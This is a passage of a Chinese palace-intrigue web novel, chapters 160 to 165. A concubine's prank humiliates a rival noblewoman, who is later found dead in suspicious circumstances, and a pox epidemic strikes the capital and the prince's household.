《娇妾勾人妩媚,帝王求她上位》 第一百六十章 旧事 “鸣玉,这么多年了,你为何还在纠结这件事儿?” 看着傅鸣玉那张倔强的脸,萧祈安叹了一口气,只觉得无可奈何。 “当初咱们俩的年龄都还小,而且最重要的是咱们那时候的身份完全就不对等啊!” “如何就不对等了?”听得萧祈安的话,傅鸣玉下意识地想要反驳,“你是皇子,我是车骑将军的女儿,怎么就不对等了?” “鸣玉,我还要说几遍你才明白,就算当初我同父皇求娶你,父皇也是不会同意的,你明白吗?” 说到这里,萧祈安便再也不肯出声了。 傅吗玉看着眼前的萧祈安,想起来他们两个好像已经有六七年未见了。她也不知道为何,再见他,心中只是倔强地想要知道一个答案。 “我明白了。”沉默了好一会儿,傅鸣玉终于出声了,“只是现在的你已经不是当年的你了,但是如今的我却还是从前的我。” “我还是那句话,只要你需要,我永远都与你站在一处。” 留下这句话,傅鸣玉便转身离开了。 “行了,人都走了,还不把眼睛睁开?偷听听够了?”眼见着傅鸣玉已经走得很远了,萧祈安伸出手来拍了拍夏韶宁的脸。 “我没偷听,我是被迫听的。”瞧着自己的伎俩被萧祈安识破了,夏韶宁这才不情不愿地睁开了眼睛。 “我又不是聋子,你们说话的声音那么大,我想不听也没办法啊!” “酒醒了?”萧祈安将夏韶宁的脑袋从他的肩膀上支了起来,“你没什么问题想要问我?” “爷是指今日我醉酒的事情,还是指……您与那傅姑娘的事儿?”夏韶宁看了一眼萧祈安,面上有些不解。 “你这丫头少跟我在这儿装模作样,明明一开始宴席还没开始的时候你心中就有好奇了,只不过被王妃吼了一句不敢继续说罢了。如今我给你机会让你问,你怎么还谦虚上了?” 萧祈安拍了拍夏韶宁的头,“就会装!” “哎,八卦这种事儿,若是没听完全,心中总会觉得有些痒的嘛!”既然萧祈安问了,她也就无所顾忌地说了,“您与那傅姑娘,当真有过一段?” “算也不算吧,那会儿我才刚刚十六岁,都还没大婚呢,可能也不太懂得感情这东西到底是怎么回事儿吧。” 萧祈安回想起了那六七年前的事情,忽然觉得离如今的自己已经很遥远了。 “其实那会儿我们两人对彼此都有意,只是我心中也明白,凭着我那时候的身份,父皇是绝对不会允了我们两人的婚事的。” “傅将军是从一品的车骑将军,那身份自然不言而喻。其实早先父皇是想把鸣玉赐给太子当良娣的,可是鸣玉誓死不从。而后她便仿佛赌气一般随着傅将军一道去越州驻守了,这些年都从未回过金州。” “所以我当时听到你说她回来了才会觉得那么吃惊,在我的记忆里,我应该有六七年未曾见过她了。” 听着萧祈安对着自己娓娓说着这些旧事,夏韶宁的心中却忽然想起了一些旁的事情。 “可是刚刚那傅姑娘也说了,您已经不是当年的您了,所以……” 她抬起头来对上了萧祈安的眼睛,很意外的在他的眼睛里也看到了和自己眼里一样的东西。 “她是个好姑娘,我不想利用她。只是若是真的有那一天,多她一份助力对我只会有益无害。” 萧祈安抬起头来看了看天上的星星,心中莫名有个感觉——如今这般安稳的日子,可能过不了多久就要被打破了。 …… 夏韶宁都不知道她是怎么回到琼华院的,反正等她第二天醒来的时候,她已经躺在自己熟悉的床上了。 身边的被窝已经空了,夏韶宁摸了摸被子早就没有了余温,想来萧祈安已经起床很久了。 她挣扎着从被子里爬了起来,才忽然觉得自己的头如针扎一般疼痛。 “主子醒了?”听见内间有动静,外间的婢女们便鱼贯而入。为首的辛夷端着一碗黑乎乎的药,不由分说地就伸到了夏韶宁的面前。 “这是什么药,怎么这么冲鼻子?”夏韶宁探过头去闻了一下,忍不住直犯起了恶心。 “您还说呢,您可还记得您昨天喝了多少酒?”兰芷没好气地看了夏韶宁一眼,“奴婢们昨夜瞧见您是被王爷抱着回来的,都给吓坏了,还以为您怎么了呢!原来是您喝醉了!” “这是王爷特意吩咐给您煮的醒酒汤,您快喝了吧!”兰芷一边说,一边接过辛夷手里的药碗舀了一勺药伸到了夏韶宁的嘴边,“您快喝了吧,喝完头就不疼了。” 听得兰芷的话,夏韶宁便很努力地回想了一下昨夜的事情,这才发现自己的记忆好像从那傅鸣玉同萧祈安说完话以后,就直接断片了。 哎,果然啊,昨天是真的喝多了。 这会儿的夏韶宁倒是不好再说什么了,只能有些心虚地接过兰芷手里的药一股脑地喝了下去。 虽然这药味道又冲又难喝,但是这一碗药下去,不到一个时辰,夏韶宁就觉得头也不疼了,身上也舒服了。 于是她不得不暗暗地跟自己说,以后可再也不能喝这么多酒了。 醉酒会误事,醉酒也伤身体啊! 这厢的夏韶宁好不容易醒了酒,这会儿正坐在花园里看话本子呢,却见蕙心慌里慌张地跑了进来。 “主子,二小姐身边的丁香来了,说有要事同您说!” “快请进来!”看着蕙心这般样子,夏韶宁的第一反应就是冉儿出事儿了!这会儿可是急得手里的话本子都掉到了地上! 丁香得了准许,便紧紧跟在蕙心身后入了院子。 “你家小姐是不是出事儿了?”看着丁香低着头的样子,夏韶宁便十分着急地走到了她的身边,“她是不是又想不开了?” “大小姐别急,二小姐没事儿!”瞧着眼前的夏韶宁急得仿佛要吃了她的样子,丁香忙对着她摆起手来。 “二小姐今日本是想着带奴婢出门去买几匹好看的料子做冬装的,却不想冤家路窄,又遇到上次对着二小姐冷嘲热讽的那个女子了!” 第一百六十一章 给她点颜色瞧瞧 “嗯?那女子又对着冉儿乱说话了?” 一听到不是夏韶冉出事了,夏韶宁的心才放了下来。 “是,而且那女子这次不仅嘲笑二小姐,她居然还当着二小姐的面说大小姐您的坏话呢!” 说到这里,丁香的脸上也露出了一丝气愤的表情。 “她说我什么?”看着丁香这幅样子,夏韶宁倒是好奇了起来。 “那女子说大小姐好好的官家小姐,上赶着给王爷当妾室,还说您不过就是空有一张貌美的脸,只会以色侍人。还说……还说您和二小姐一样,只会些上不得台面的东西……” 丁香一边说,一边观察着夏韶宁的脸。果然,当她说到最后一句话的时候,夏韶宁“腾”的一下就从摇椅上站了起来。 “岂有此理!” “大小姐您别生气,二小姐帮你骂回去了!” 瞧着夏韶宁这幅生气的样子,丁香便急忙又对着她开口了。 “原本那女子说二小姐的时候她都没有生气,更没想要回嘴。只是当她说到您的时候,二小姐就生气的和她吵起来了!” “哦,冉儿那般好脾气的人,还会同人吵架?”夏韶宁忽然觉得有些吃惊。 “是呢!二小姐说她杨家也不过就是依仗着五皇子妃嫁入了五皇子府,她那些哥哥才得了些不重要的一官半职,凭什么用这种事情来嘲笑您!若是真的要论嫁娶之事,您嫁的还是亲王呢!她又有什么好得意的!” “慢着,杨家?哪个杨家?莫不是五皇子妃的娘家杨家?”听得丁香提起杨家,夏韶宁的面色又渐渐沉了下来。 “是呢!就是五皇子妃的娘家杨家!那女子就是五皇子妃的庶妹杨二小姐杨素灵!”丁香点了点头,“二小姐同那杨二小姐吵了一架,把那杨二小姐气得够呛。而后二小姐回府后仔细想了想,又怕这件事情会影响您,这才派奴婢来同您通个气。” “冉儿到底是将我上次同她说的话听进去了。” 听着夏韶冉不仅没有吃亏还把那嘴贱的杨素灵气得够呛,夏韶宁才觉得这个妹妹是真的长大了。 “你回去同你家小姐说,这件事儿我知道了,我会去处理,你让她不必担心。” 顿了好一会儿,夏韶宁这才对着丁香出声了。 “还有,以后若是再遇到这种事,只管按照她自己的想法去做,不用怕影响我。姐姐可比她想象的,厉害的多!” 丁香离开以后,夏韶宁在摇椅上又坐了很久。 蕙心和兰芷一直候在她的身边,只是轻轻地替她打着扇子,未曾开口说一句话。 “过几天是不是大容的双十节了?”也不知道沉默了多久,夏韶宁终于开口了。 “回主子的话,后日就是双十节了。”虽然不知道夏韶宁问这话是什么意思,但是蕙心还是规规矩矩地回了一句。 “那就正好。”夏韶宁笑了笑,心生一计。 大容国的双十节,其实也就同七夕乞巧节差不多。在这一天,大容所有已经及笄却还未出嫁的适婚女子,都要去郊外的宝光寺上香,以祈求上天赐自己一段美满的姻缘。 夏韶宁的眸子转了转,转过头来对着蕙心和兰芷道,“你们两个附耳过来,我这里有个计划,也是该给这嘴贱的杨素灵一点儿颜色瞧瞧了!” *** 两天后,杨府。 “这什么鬼天气啊,好端端的怎么下雨了?!” 杨素灵站在大门口,看着阴沉沉的天空中不断往下滴落的雨滴,心里越想越觉得烦躁。 回过头来又看见身后的婢女们仍旧磨磨蹭蹭的,心中便觉得更烦了。 “你们两个动作怎么这么慢,若是耽误了我去宝光寺上香的好时辰,我非把你们都给发卖到红逍坊去不可!” 身后的两个婢女听得杨素灵的这番恶语,吓得赶忙跑到了她的身边。 “东西都准备好了?”杨素灵懒洋洋地伸出手来等着婢女将她扶上了车,嘴上还不忘了仔细询问东西有没有准备好。 “回小姐,都收好了。”婢女们低着头,只敢小声回答着。 “呵,什么人也敢在本小姐面前耀武扬威!等着本小姐去宝光寺上完了香,哪天成了太子的良娣,你们这些小门小户家上不得台面的东西连给本小姐提鞋都不配!” 杨素灵一边说,脑海中一边不断浮现太子对她说的那些甜言蜜语,感觉自己的心都跳得比平常要快一些。 身边的婢女们一句话都不敢说,只是想到自家小姐仍未出嫁,却经常在私底下与太子幽会,都害怕哪天这件事情若是暴露了,她们两人的小命也保不住了。 如今也只得祈求上天,早日让小姐嫁入东宫,她们也好找个机会能离开这个恶魔一般的小姐。 马车一路行进着,不知不觉就行到了主街人群最密集的地方。 而因为今日是双十节,却天公不作美下起了雨,所以城内许多官宦人家小姐们的马车都被堵在了路上。 杨素灵一开始还有耐心坐在马车上等着,可是时间一刻钟一刻钟的过去了,眼见着马车依旧纹丝不动,她便再也坐不住了。 “你是不是死人啊?你就不会往旁边插着过去?!” 杨素灵气呼呼地将马车的门帘掀开,不由分说地就对着马夫大声地骂道。 “小姐……那旁边的路太窄了,若是强行插过去,怕是会惊着马呢!” 马夫看着杨素灵生气的样子,也只能好声好气地解释着。 “本小姐让你过去你就过去,哪有那么多废话!” 而眼前的杨素灵此刻心里只想着赶着好时辰去宝光寺上香,根本就不管马夫说什么。她往前头看了看,发现另外一辆马车旁边还有挺宽的位置,于是指着那辆马车对着马夫道,“给本小姐插过去!” 马夫眼见着杨素灵的态度坚决,于是只得叹了一口气,拿起马鞭调转车头就往前面那辆马车旁边挤了过去。 马儿被马鞭抽了一下,吃痛往前头跑去,却不知道为何前头的地方居然被人洒满了黄豆!马儿踩到了黄豆失去了平衡,当时就摔倒了! 而坐在马车里的杨素灵,则被狠狠地从车厢里摔了下来,整个人就那样四仰八叉地躺在了地上! 第一百六十二章 真丢人 这会儿的雨下得比刚才更大了,杨素灵就那样被马儿甩出了车厢外,躺在了地上,不一会儿,她身上的衣裳就被雨水全部给淋湿了。 众府的马车本十分有序地在排队等着出城,却不想忽然听得耳边传来一阵巨大的响声。各家小姐们都十分好奇地将车厢上的门帘打了起来,看到的就是此刻已经全身湿透狼狈不堪倒在地上的杨家二小姐,杨素灵。 “咦,那躺在地上的是谁家的小姐啊,身上的衣裳都湿透了啊,这可不给人看光了啊!” “诶,那不是杨府的马车吗?杨家没出嫁的女儿……不就剩一个杨二小姐了吗?!” “啧啧啧,我听说杨大人最注重自己的名声了,这杨二小姐今日出了这么大的丑,她以后可该怎么嫁人啊!” …… 此时的夏韶宁,就坐在杨家前头的那辆马车上,正闲闲地喝着茶呢! 兰芷掀开门帘看了一眼仍旧躺在地上谁都不敢上前去扶一下的杨素灵,只觉得心中十分畅快! “哼!让她整天用落水的事情嘲笑二小姐,这一次,她可真是丢人丢到姥姥家了!” “我本来不过想着将马车往里头靠一靠,没想到你这丫头还会使阴招呢?” 夏韶宁放下了手里的茶杯,顺着门帘看了看撒了满地的黄豆,嘴角也忍不住上扬了起来。 “主子您别装了,这装了黄豆的荷包不是您早上递给奴婢的吗?”兰芷从腰上扯下了那个荷包递到了夏韶宁的面前,“您若是没存了这个心思,何必把这个荷包让奴婢带着呢?” “哈哈哈哈,就你机灵。”夏韶宁笑了笑,也不说什么,只留下一句,“行了,路通了,咱们去郊外转转就回府吧。” “接下来,可是有好戏看咯!” *** 且说那头的杨素灵,到最后还是被两个婢女从地上扶了起来。她在地上躺了许久,身上的衣裳已经脏得不成样子,全身上下也因为从车上摔了下来觉得哪哪儿都疼,这会儿更是委屈的大哭了起来。 “小姐,您别哭了,她们都在看您呢!” 婢女扶着杨素灵的手想将她扶到一边去休息一下,却不想被杨素灵一把甩了开来。 她挣扎着自己站起了身,淋着雨转头就往杨府的方向跑去。 两个婢女互相看了一眼,也只得赶忙追了上去。 晚间,杨府。 杨超面无表情地坐在椅子上,面前是已经哭红了眼的杨素灵。 她的亲娘何姨娘一直站在身旁劝着她,她却仍旧只是哭个不停。 “哭哭哭,你还有脸哭?!”看着一直哭个不停的杨素灵,杨超心中觉得心烦不已。 他“砰”的一声拍了拍一旁的小几,指着杨素灵气急败坏地道,“你怎么就那么心急?!人家府上的马车都知道排队等着出城,偏偏就你要挤别人的马车过去!怎么,就你厉害就你能?为父的老脸都给你丢光了!” 杨超本还觉得奇怪,为何今日下值的时候同僚们都对着他窃窃私语。待他回府,这才知道是他这个好女儿今日做了件如此给自己“长脸”的事情! “父亲怎么能怪我呢?我怎么知道那地上会有黄豆?” 杨素灵本想着一向疼爱自己的父亲会好声好气地安慰她,没想到父亲一开口居然是责怪自己给他丢脸了,当时连哭都忘记了,只知道呆愣愣地看着父亲。 “你若是不挤过去,马儿会踩到那些黄豆吗?马儿不踩到那些黄豆,你会摔到地上全身湿透被那么多人给看光了吗?” 眼见着杨素灵还在狡辩,杨超更生气了。 他“腾”的一下从椅子上站了起来,抬起手来不由分说就扇了杨素灵一巴掌! “老爷,你这是做什么?”何姨娘一开始只是站在一旁看着他们两父女吵架,虽然她心疼自己的女儿受了委屈,但是看着杨超那般生气的样子,她也不敢多说什么。 可是如今瞧着杨超居然动手打了杨素灵一巴掌,这会儿便着急地一把就拦在了杨素灵的跟前。 “你让开,我今日非打死这个丢人现眼的东西不可!” 瞧着何姨娘上来拦住了自己,杨超的气更大了。他转过身来抄起了一根木棍,气势汹汹地就朝着杨素灵走了过来。 “好,是你想要我死的,等我真的死了,你别躲在一旁哭!” 这会儿的杨素灵倒是不哭了,她梗着脖子看着眼前被她气得已经有些分不清东南西北的父亲,留下这句话就冲了出去。 “你走!你若是走了,你就永远不要回来,我杨家,没你这么个女儿!” …… 杨素灵一开始只是想吓一吓她的父亲,所以大晚上的便只身一人从杨府里跑了出来。 可是这会儿在街道上走了好长时间,也没见父亲派人出来寻她,她才真的慌了起来。 虽然刚刚的狠话放得很响,可是她哪里是那种有勇气寻短见的人呢? 她还等着太子殿下实现承诺将她纳进东宫当良娣呢! 于是杨素灵只得漫无目的地在街道上走着,不知不觉,她居然走到了五皇子府的门口来了。 她站在门口犹豫了许久,最终还是敲响了五皇子府的大门…… 其实白日里的事情五皇子妃也在府里听到了一些风声,只是府里的那些下人们并不敢当着她这个杨家长女的面如此明目张胆地谈论。 这会儿看着自家妹妹眼睛通红,两颊也肿了起来,五皇子妃这才从杨素灵的嘴里得知了这到底是怎么回事儿。 “你有没有觉得,这件事情很奇怪?”听完了杨素灵的话,五皇子妃沉默了许久,最终才吐出了这么一句话。 这会儿的杨素灵正在狼吞虎咽地吃东西,听得长姐的疑问,她倒是忽然想到了一件事情。 “我记得一开始马车被堵住的时候,地上是没有黄豆的。等我们府上的马车挤过去以后,地上便莫名多了许多黄豆了。” “你有没有看清楚前面那辆马车里坐的是哪家的小姐?或者……那马车上有没有什么特殊的记号?” 五皇子妃转过头来看了看杨素灵,十分严肃地问道。 意识到了自己可能是被人给陷害了,杨素灵便也十分努力地回想起了前面那辆马车上有什么特征。 想了好大一会儿,她的眼睛却突然亮了起来。 “长姐,有了!我记得我前面的那辆马车的车沿下,挂着一个刻着“贤”字的风铃!” 第一百六十三章 她死了 就在夏韶宁已经忘记自己曾经整过一次杨家二小姐的时候,萧祈安却带来了一个令她十分吃惊的消息。 杨家二小姐杨素灵,死了。 “好端端的,她怎么会死了?”听着萧祈安一脸平静地告诉了她这个消息,夏韶宁被吓了一跳。 “说是前几日那杨二小姐同她的父亲杨大人吵了一架,好几天都没有回家。过了两三天杨大人才派人出去寻,这才在郊外的一处树林里寻到了她。” “寻到她的时候她被一根白绫吊在树上,身子都硬了。大理寺派人去查了这案子,最后发现她身上没有任何伤痕,最终断定应该是自杀的。” 说起这件事情的始末,萧祈安也觉得有些唏嘘。 明明前段时间还在长乐婚宴上见过的人,说自杀就自杀了。 那头的萧祈安正在感叹现在的女儿家心里承受能力是否有点差,而这厢的夏韶宁,却不知为何心中变得十分不安起来。 萧祈安一开始还在无所谓地喝着茶,直到过了好大一会儿也不见夏韶宁出声说话,他便有些疑惑地转过身来,这才发现眼前的夏韶宁很明显一副心神不宁的样子。 “你怎么了?”萧祈安放下茶杯摸了摸夏韶宁的手,却发现她这会儿的手一丝温度都没有,冷得和块儿冰似的。 萧祈安的脸色瞬间变了。 他转过身来按住夏韶宁的肩膀,强迫她看着自己的眼睛,随即满脸严肃地对着她道,“宁儿,你同我说实话,那杨家二小姐自杀的事情,和你是否有关系?” “我不瞒你,或许这件事情真的和我有关系,但是我并不能确定她自杀就是因为这件事。” 夏韶宁头脑风暴了好一会儿,最终还是决定将整件事情的来龙去脉告诉萧祈安。 萧祈安面无表情地坐在椅子上,仔仔细细听着夏韶宁将事情的始末说给了他听。 这会儿的他倒是没有夏韶宁那般不安,夏韶宁一边说,他便一边在想着这件事情的背后到底是怎么回事儿。 直到夏韶宁已经把事情说完了,他仍旧久久没有出声。 “爷,我是不是给你惹麻烦了?”夏韶宁一开始的本意只是想要教训一下那杨素灵,以其人之道还治其人之身罢了。 可是她怎么都没想到,杨素灵会因为这件事情和她的父亲大吵一架,最后酿成了一个离家出走郊外自杀的结局。 虽然夏韶宁一直觉得她是个胆子很大的人,可是如今这事情惹上了人命官司,那性质可就完全不一样的。 萧祈安早就同她说过自己这一路走来全靠他步步为营的谋划,她不确定自己惹出的这场意外,是否会打乱萧祈安整盘的计划。 虽然他从未在她面前透露过他有什么样的计划,但是随着萧祈安每日回府的时间越来越晚,她似乎也能明白些什么。 所以此刻的夏韶宁,第一次在萧祈安面前露出了焦虑和担忧的神情。 “行了,多大点事儿。她自己想着别你的马车,马儿踩到黄豆摔到了才导致她从马车上摔出来的,这整件事情和你又有什么关系?” 看着面前的夏韶宁一副神色不安的样子,萧祈安便一把将她拉进了怀里。 “宁儿不要怕,我从前不是答应过你了吗?不管出了什么事儿,我都护着你。你就安安心心待在这琼华院,种花也好,摆弄吃的也好,做做香膏也好,你只要做你喜欢的事情就行。” 萧祈安摸了摸夏韶宁的头,示意她安心。 “只是这段时间你无事就不要四处乱走了,乖乖待着府里就好。”萧祈安探下身子吻了吻夏韶宁的额头,小声对她道,“这两天也许我会很忙,你照顾好自己。” 夏韶宁看着眼前的萧祈安一副胸有成竹的样子,她的内心似乎也安稳了一点儿。 此时的她虽然也想做什么,但是理智告诉她还是不要轻举妄动比较好。 离开了琼华院,萧祈安便带着裴言回了存心殿。 这会儿的他坐在书桌前,面上早已没有了刚才面对夏韶宁时那副温柔的样子。 他伸出手指反复婆娑着大拇指上的扳指,脑子里瞬间设想了一万种可能。 杨府,杨二小姐,五皇子妃,五皇子,太子…… 忽然之间,他瞬间感觉自己茅塞顿开! “裴言,咱们今日先去一趟刑部找四哥,再去一趟大理寺找夏大人,本王如今有重要的事情拜托他们二位去办!” 大容没并没有驸马尚了公主以后就不得入仕途的说法,反而夏明博成了驸马以后,因为显庆帝欣赏自己这位女婿有什么说什么直言不讳的性格,将他从御史台调到了大理寺。 如今的夏明博,已经是从五品的大理正了。 “王爷,恕属下直言,夏侧妃这件事情做得是有些冲动了。” 其实平日里裴言是很少对于主子们之间的事情进行置喙的,可是如今正是王爷最重要的时候,夏侧妃却在这个节骨眼上闹出了这件事儿,裴言心中便还是对夏韶宁有了怨言。 “她有什么错儿?”萧祈安刚准备出门,听得裴言的话,倒是停了下来。 “是那杨二嘴贱,一而再再而三地羞辱她和她的妹妹,她不过为了自己的正当利益用了一点小手段,没杀人没放火的,她错哪儿了?” “可是若不是因为夏侧妃挑了这个头,那杨二小姐未必会想不开自杀啊!”听得自家王爷这般偏心眼的话,裴言仍旧不能认同。 “你真觉得那杨二是自杀吗?”萧祈安满脸带笑看着裴言,“是你想的太简单了。” 萧祈安转过身来也不再看裴言了,只是自顾自地往外走了出去。 只见他一边往外走,一边嘴里还不住念叨着,“这丫头还是大意了!要说她有错,也就错在她不应该如此光明正大地将府上的马车直接驾了出去。” “不过没关系,如今是他们起了这个头,那么这件事情对我来说就未必不是一件好事儿了!” “这大容的天儿,也该变咯!” 第一百六十四章 痘疫 杨素灵这件事情仍在慢慢发酵,而出乎所有人意料之外,一夜之间,金州城忽然有许多人发起了痘疫! 城中所有的医馆都开始人满为患,大街上到处都是蒙着面脚步匆匆往医馆赶去的人。 显庆帝得知了这件事情以后,直接停了大朝会,宫门也落了锁,只留了一个小门方便宫里的人处理每日的日常采买以及其他工作。 另外,他也命太医院连夜研究出了一种预防的药水,只要将这药水煮沸撒在住处四周,可以有效地预防痘疫。 药水研究出来以后便发放给了各家各户,一时之间,金州城人人都忙着给自家宅子周围洒预防痘疫的药水,场面一度显得十分壮观。 只是因为大容从建朝以来都没有发生过如此大规模的痘疫,所以研究出可以完全治好痘疫的药物,暂时还需要一点儿时间。 不过因着这预防药水的研制,金州城的痘疫还是稍微得到了一些控制。 与此同时,贤王府琼华院。 夏韶宁站在廊下,看着婢女和内侍们正忙着给院子里的各处的屋子里喷洒药水。 四个心腹婢女们牢牢地盯着那些做事的婢女和内侍们,力求连一个犄角旮旯都不放过。 “主子累了就回屋歇歇吧,奴婢们会盯着他们好好做事儿的。” 注意到了夏韶宁一直站着,蕙心便走到她的身边对她小声道。 “没事,我不累,我就在这看着。” 夏韶宁对着蕙心摇了摇头,只是隐隐觉得心里头有些不安。 金州城爆发痘疫的当天晚上,萧祈安就被显庆帝派去处理事务了。如今金州城里有许多人生病,城里到处都是忙忙碌碌的样子。而越是这样的时候,就越会出现许多从前安稳时期不会出现的问题。 治安问题、商家哄抬物价的问题、粮食药品分配不均的问题、维稳人手不足的问题…… 这纷繁复杂的事情总需要一个地位高的领头人去解决,而显庆帝想来想去,还是把这个艰巨的任务交给了萧祈安。 夏韶宁掰着指头算了算,萧祈安已经差不多有七八天没有回府了。 “辛夷。”夏韶宁顿了顿,转头对着辛夷招了招手,“我昨天翻了翻师父给我的医书,琢磨着研究出了一副预防痘疫的方子。我昨天用了一副,没什么别的反应,你今日给煎了给咱们院子里的人都用一碗,若是大家都没反应,就把这方子给王爷送去。” 夏韶宁毕竟也不是专门学医的,她如今也不过是月月同公孙信保持着通信来精进自己的医术。所以哪怕她琢磨出了这么个方子,她也不敢直接就让大家用了,万一出了什么问题,她可负不起责任。 她只能先拿自己和自己院子里的人做实验,若是真的确定没有副作用,再拿给萧祈安让他推广也不迟。 辛夷接过夏韶宁递过来的方子,细细看了一眼,也不住地点了点头。 而就在夏韶宁的预防药方刚刚研究出来,琼华院的下人们还在实验的时候,王妃的瑞香院里,却出事了。 还不到一岁的三公子,不知从何处染上了痘疫! 瑞香院。 此时的王妃正一脸焦灼的坐在三公子的床前,周围伺候的下人里除了白露,其他人都被王妃给赶了出去。 “娘娘,您先出去吧,让奴婢在这照顾三公子!奴婢小时候发过一次痘,如今不怕的!”白露担忧地看了王妃一眼,说话的语气里隐隐带了一丝哀求的语气,“奴婢从小同您一块儿长大,您可是从没发过痘的啊!您如今一直守在三公子这儿,会被他传染的啊!” “我哪儿都不去,我要在这守着我的孩子!” 很显然,王妃并没有将白露苦苦劝说的话给听进去。她一边死死握着三公子的手,以防止他因为身上的痘太痒了而四处乱抓,一边趁着空给三公子滚烫的额头上换上冰凉的帕子,试图以此来降低三公子不断攀升的体温。 “你找人去通知王爷了没有?”王妃焦急地问了白露一声,“如今宫门都关了,又请不到太医来府里给驰儿看诊,只有让王爷去宫里碰碰运气了!” “娘娘放心,奴婢昨日去找过王爷了,王爷答应您定回去宫里替三公子请太医的。”白露回握住王妃的手,示意她放心。 “可是这都一天了,不仅太医没来,连王爷也没有回来。”虽然白露这么说了,可是王妃却并没有放心下来。 她站起身来往窗外看了看,始终也不见她最想见的人的身影。 “娘娘,不如……不如咱们去求求夏侧妃吧!她身边的那个医女医术似乎还不错,而且奴婢私底下听说夏侧妃不知得了哪位高人的指点,如今也懂些医术了!” 眼见着王妃一副焦急又失望的样子,白露纠结了许久,终于对着王妃说出了她的想法。 “夏侧妃?”听得白露提起这个人,王妃的眼神下意识地恍惚了一下。 “可是上一次我因为向她打听王爷对立世子的看法时与她闹得那样不欢而散,她如今如何肯来帮我?” “您不试试如何知道夏侧妃不肯来呢?”白露明白王妃到底还有些顾忌着自己的身份,于是便更加卖力地劝说道,“再说夏侧妃入府快三年了,她是什么性子的人娘娘您如何还看不出来?您别忘了,当初若不是她拼了命救下了您,三公子可能都没办法安全降生呢!为了再救三公子一次,您就暂时放下自己的身份吧!” 听着白露这般苦口婆心,句句肺腑地劝说,王妃这才清醒了过来。 王爷已经七八日没有回府了,她也不敢保证王爷就真的能将太医从宫里请来给驰儿看诊。驰儿如今瞧着症状如此严重,若是一直拖下去,谁知道会不会有性命之忧?! 既然都已经到了这般地步了,那也就只能同白露说的那般,暂时放下自己这王妃的身份,亲自去求夏侧妃来给驰儿治病,说不定她还真的能救驰儿一命呢! 想明白了这一点,王妃便立刻从床上站起身来,急急地对着白露道,“快,快给我带好面纱,咱们这就去琼华院!” 第一百六十五章 求你救他 其实在王妃来找她之前,夏韶宁已经隐隐约约听说了一些瑞香院的事情。 只是她没想到居然是三公子染上了痘疫。 四个婢女听闻三公子得了痘疫,也不管对面的是王府的主母了,立刻惊慌失措地将夏韶宁拥进了房间内,并且在王妃的四周撒了足足的预防药水。 此时的王妃也顾不上这些婢女的无理了,如今她的心中只希望夏韶宁能快些救救她的儿子。 “我知道你在心里是不喜欢我的。”王妃戴着一层厚厚的面纱,双眼通红地坐在离夏韶宁很远的地方。 “自你入府以来,前前后后吃了不少亏。我这个做主母的似乎从来没有帮你解决过你吃的那些亏。” “反倒是你一直以来都十分尊重我,在我面前从不逾矩一步,甚至乎还曾救过我与我的儿子。” 说到这里,王妃终于忍不住落下泪来。 “我知道你与你身边的婢女都通医术,如今驰儿发了痘疫病的很严重,王爷又一直没有将太医从宫里请来,我实在是害怕驰儿没有办法撑过去,他如今连周岁都还没有过啊!” “今日算我求你,求你救救我的孩子!” 王妃一边说一边断断续续地哭着,说到最后,她甚至想要朝着夏韶宁跪下了。 “娘娘使不得啊!您今日若是跪了妾,妾这条命可就保不住了!”眼见着王妃马上就要朝着自己跪下来,夏韶宁急忙眼疾手快地将她从地上扶了起来。 她看着眼前哭得满眼是泪的王妃,终究还是忍不住重重地叹了一口气。 “妾对娘娘从来没有生过怨言,您是主母,府里那么多女人,您总不好偏袒哪一个。” “您是个好主母,也是个好母亲。哪怕有的时候遇到了事情过于小心谨慎,那也是您的性格使然,妾从未怪过您。” “妾与辛夷虽通一些医术,只是也未曾有过研制治疗痘疫的药物。妾只能说但求一试,若是最终还是无法治好三公子,也请娘娘不要怪罪妾。” 夏韶宁这人,做任何事情之前都喜欢将丑话说在前头。如今面对王妃的请求,夏韶宁也同样地将可能出现不好的结果先告诉她。 夏韶宁当然会不藏私心的去救三公子,只是若是到时候真的救不了,她也尽力了。 果然,听得夏韶宁同意去救三公子了,王妃的脸上终于露出了这么多日以来唯一的一次笑容。 “你说的哪里话,只要你肯不计前嫌救驰儿,我又怎会怪你?” 王妃胡乱擦了擦眼角的泪,转过身来便对着白露吩咐道,“从今日起,咱们瑞香院所有的下人都归夏侧妃调配。夏侧妃说的话就是我的话,夏侧妃需要什么,只要大库房有的都紧着她用,明白了吗?” 听完王妃的话,白露忙不迭地对着夏韶宁使劲点了点头道,“夏侧妃需要奴婢们做什么,只管说一声便是,奴婢们都听您的!” “好,既然这样,那妾便也就不客气了。”得了王妃的承诺,夏韶宁做起事情来就容易多了。 “如今三公子得了痘疫,娘娘的瑞香院是要同其他院子隔离开了,只是三公子病着少不得人伺候,所有妾有一些其他的想法。” “妾前几日研制出了一种预防痘疫的药方,妾自己喝过以后并无其他不舒服的地方,若是娘娘信得过妾,便让府中所有的主子下人们都先喝上一副,有备无患吧。” 夏韶宁一边说,一边对着辛夷使了个眼色,辛夷便将刚刚那张药方给了白露。 “白露,一会儿你去大厨房吩咐下去,让人按照这房子熬上几锅汤药,府里所有的人都必须喝。” 夏韶宁的话音刚落,王妃便转过头来对着白露吩咐了一声。 眼见着王妃丝毫没有对自己的药方产生怀疑,此刻的夏韶宁倒是真的相信王妃此番的确是真心向她求救的。 “另外,还要麻烦白露姐姐带一些人去询问一下府中的所有下人们,有哪些人从前是发过痘的?只要发过痘的人,便暂时要辛苦他们调到瑞香院去照顾三公子了。” “至于其他没有发过痘的,那便还是要远离瑞香院,但是这段时日最好也不要出府了。” 夏韶宁一口气把自己的想法都说了出来,一点藏私都没有。 其实她也是按照前世在电视上看到发生传染病时zf的应急预案是如何做的,她稍微结合了一下目前府里的具体情况,才想到了这么一个流程。 “至于妾与辛夷,这段时期还是呆在琼华院研制药物。只是妾同娘娘保证,一定会尽快将药物研制出来的。” 夏韶宁转头看了王妃一眼,又想到什么般对着她道,“如今三公子发了高热,身上又奇痒无比,妾这里有一副退热的方子和止痒的药膏,娘娘先拿去给三公子缓解一下症状吧。” 王妃看着辛夷递过来的东西,刚刚止住的泪水又忍不住落了下来。 “刚才白露劝我来找你,我心中总觉得你不会帮我。我甚至还想着你或许会拿着我有事求你来对着我拿乔,嘲讽我羞辱我。我根本没想到,你居然……会答应得如此爽快,我实在……实在是觉得有些羞愧……” “这世道女子活得本就艰难,咱们同嫁一个男人也并非自愿的,我相信这府里的每个女人,都有自己说不出口的无奈。” 夏韶宁见着王妃哭得厉害,倒是没有一味地劝她不要哭。 